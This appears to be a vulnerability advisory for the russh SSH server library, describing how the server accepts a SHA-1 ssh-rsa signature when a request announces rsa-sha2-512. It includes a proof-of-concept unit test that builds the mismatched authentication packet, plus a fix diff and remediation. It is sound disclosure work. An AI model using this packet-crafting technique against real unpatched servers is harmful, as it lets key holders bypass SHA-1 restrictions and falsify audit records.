CVE-2026-111062: Rust/russh vulnerability
Details
In russh/src/server/encrypted.rs, serverreadauthrequestpk (0.63.3, around lines 880-990):
The requested algorithm name (pubkeyalgo) is read and only used to decode the key: PublicKeyOrCertificate::decode(&pubkeyalgo, &pubkeykey). The derived hashalg is then dropped (PublicKeyOrCertificate::PublicKey { ref key, .. }). The signature blob is decoded (Signature::decode) and verified with Verifier::verify(&pubkey, &buf, &sig). ssh-key picks the hash from the signature's own algorithm (sig.algorithm()). pubkeyalgo and sig.algorithm() are never compared.
So for an RSA key, the request can say rsa-sha2-512 while the signature is ssh-rsa. The signature is valid for SHA-1, verification succeeds, and Handler::authpublickey is called.
Affected versions: every russh release, from the first (0.34.0-beta.1, 2022-03) through 0.63.3 and current main. The behaviour is inherited from thrussh, which russh was forked from.
The mechanism changed over time, but the outcome is the same: the hash is always taken from the signature blob, never checked against the request.
Up to 0.46: after reading the algorithm name inside the signature blob, russh overwrites the key's hash with it (pubkey.setalgorithm(algo)), then verifies. From 0.47/0.48 (move to ssh-key): the signature is decoded with its own algorithm (sigworkaround::Sig::decode, later Signature::decode) and verified with it.
Confirmed by running the PoC below on 0.63.3. Confirmed by reading the code of server/encrypted.rs in 0.34.0-beta.1, 0.34.0, 0.36.0, 0.36.1, 0.37.1, 0.40.2, 0.43.0, 0.45.0, 0.46.0, 0.48.2, 0.50.4, 0.54.6, 0.58.1, 0.63.1, 0.63.3 and main (2026-09-30), and in thrussh 0.33.5.
PoC
A unit test in the existing test module of russh/src/server/encrypted.rs. It uses the module's own helpers (testauthsession, signwithhashalg, PrivateKeyWithHashAlg) and needs no network or configuration.
1. Check out russh 0.63.3, or main. 2. Paste the code below inside mod tests { ... } of russh/src/server/encrypted.rs. 3. Run cargo test --lib pocsha1.
rust // ---- PoC: signature algorithm not checked against the requested one ----
/// Records whether authpublickey (called only after the signature /// verified) was reached. #[derive(Default)] struct AcceptAnyKey { authenticated: bool, }
impl Handler for AcceptAnyKey { type Error = Error;
async fn authpublickeyoffered( &mut self, user: &str, publickey: &PublicKey, ) -> Result<Auth, Self::Error> { Ok(Auth::Accept) }
async fn authpublickey( &mut self, user: &str, publickey: &PublicKey, ) -> Result<Auth, Self::Error> { self.authenticated = true; Ok(Auth::Accept) } }
/// A signed publickey request that names announced as its public key /// algorithm, but is signed with hash (None = ssh-rsa, SHA-1). fn signedrequestannouncing( user: &str, privatekey: Arc<PrivateKey>, announced: &str, hash: Option<crate::keys::HashAlg>, ) -> Vec<u8> { let mut packet = Vec::new(); packet.push(msg::USERAUTHREQUEST); user.encode(&mut packet).unwrap(); "ssh-connection".encode(&mut packet).unwrap(); "publickey".encode(&mut packet).unwrap(); 1u8.encode(&mut packet).unwrap(); announced.encode(&mut packet).unwrap(); privatekey.publickey().tobytes().unwrap().encode(&mut packet).unwrap();
let mut signed = Vec::new(); CryptoVec::new().asref().encode(&mut signed).unwrap(); signed.extendfromslice(&packet); let signature = signwithhashalg(&PrivateKeyWithHashAlg::new(privatekey, hash), &signed).unwrap(); signature.encode(&mut packet).unwrap(); packet }
#[tokio::test] async fn pocsha1signatureacceptedwhenrsasha2512isannounced() { let rsa = sshkey::private::RsaKeypair::random(&mut rand::rng(), 2048).unwrap(); let private = Arc::new(PrivateKey::from(rsa)); let mut session = testauthsession(); let mut handler = AcceptAnyKey::default();
// The request says rsa-sha2-512; the signature blob is ssh-rsa (SHA-1). let packet = signedrequestannouncing("alice", private, "rsa-sha2-512", None); session.processpacket(&mut handler, &packet).await.unwrap();
// RFC 8332 §3: the signature algorithm must be the requested one, so // this request must be rejected. On russh 0.63.3 it is accepted. assert!( !handler.authenticated, "an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512" ); }
Result on unmodified 0.63.3:
test server::encrypted::tests::pocsha1signatureacceptedwhenrsasha2512isannounced ... FAILED panicked at src/server/encrypted.rs: an ssh-rsa (SHA-1) signature was accepted for a request announcing rsa-sha2-512
With the fix below, the test passes and the whole library suite still passes: cargo test --lib gives 186 passed.
Suggested fix: reject a mismatch through the existing rejectauthrequest(until, ...) path, so the constant rejection time is kept.
diff --- a/russh/src/server/encrypted.rs +++ b/russh/src/server/encrypted.rs @@ -1023,6 +1023,21 @@ maperr!(ensureend(&signaturereader))?; maperr!(ensureend(r))?; + // RFC 8332 §3: the signature must use the algorithm the + // request names. + let offeredalgorithm = match pkorcert { + PublicKeyOrCertificate::PublicKey { .. } => sshkey::Algorithm::new(&pubkeyalgo), + PublicKeyOrCertificate::Certificate() => { + <sshkey::Algorithm as crate::helpers::AlgorithmExt>::newcertificateext(&pubkeyalgo) + } + }; + if offeredalgorithm.ok().asref() != Some(&sig.algorithm()) { + debug!("signature algorithm does not match the requested one"); + authuser.clear(); + rejectauthrequest(until, &mut self.write, authrequest).await?; + return Ok(()); + } + let isvalid = if acceptedprobematches && user == authuser { true } else {
Impact
This is a missing check on the signature algorithm (improper verification of a cryptographic signature's algorithm, CWE-347) in the server's publickey authentication.
Who is impacted: applications that use russh as an SSH server and rely on the requested algorithm to restrict, record or audit user-key signature algorithms. For example:
a server that refuses SHA-1 (ssh-rsa) signatures, as OpenSSH does by default since 8.8; a server that logs which algorithm a client authenticated with.
Such a server can be made to accept a SHA-1 signature, or to record rsa-sha2-512 for one, by any holder of a valid RSA key.
Not impacted:
russh clients; authentication strength beyond the choice of hash, since a valid signature by the private key is still required; Te RSA keys were examined, the case where one key admits several signature algorithms (ssh-rsa, rsa-sha2-256, rsa-sha2-512). We did not test other key types.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
rust/russhto a version that resolves this vulnerability.Fixed in 0.64.0 - Compensating control
In the russh SSH server's publickey authentication, reject the request through the existing reject_auth_request(until, ...) path when the announced public-key algorithm does not match sig.algorithm(), such as rejecting an ssh-rsa signature when rsa-sha2-512 was announced.